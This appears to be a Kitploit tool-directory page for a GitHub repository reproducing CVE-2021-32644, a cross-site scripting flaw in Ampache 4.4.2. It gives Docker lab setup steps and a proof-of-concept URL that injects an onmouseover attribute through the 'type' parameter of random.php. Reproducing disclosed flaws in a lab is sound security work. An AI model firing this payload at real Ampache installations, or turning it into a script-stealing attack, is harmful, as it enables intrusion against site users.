Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-32644 — Ampache XSS | Kitploit
Tools/GitHubGitHub/dnr6419/cve-2021-32644
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubdnr6419/cve-2021-32644

CVE-2021-32644

Ampache XSS

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-32644

This vulnerability is an XSS vulnerability that affected versions prior to Ampache 4.4.3. https://nvd.nist.gov/vuln/detail/CVE-2021-32644

Installation and Execution Steps

1. Install Ampache

When installing, please configure port forwarding in the docker-compose.yml file. The currently installed Ampache version is 4.4.2.

root@kitploit:~
 $docker-compose up

2. Access Ampache

Navigate to http://[web-server ip]:port/

2. Access Ampache & MySQL Setting

Navigate to http://[web-server ip]:port/ Set up the MySQL database as shown in the image below. image

3. PoC

By inserting the PoC below, you can see the XSS vulnerability triggered.

root@kitploit:~
 http://[ip]:port/random.php?action=get_advanced&type=%27%22%20onmouseover%3dalert(0x0002DE)%20

image

Source

https://packetstormsecurity.com/files/163620/Ampache-4.4.2-Cross-Site-Scripting.html

Download Tool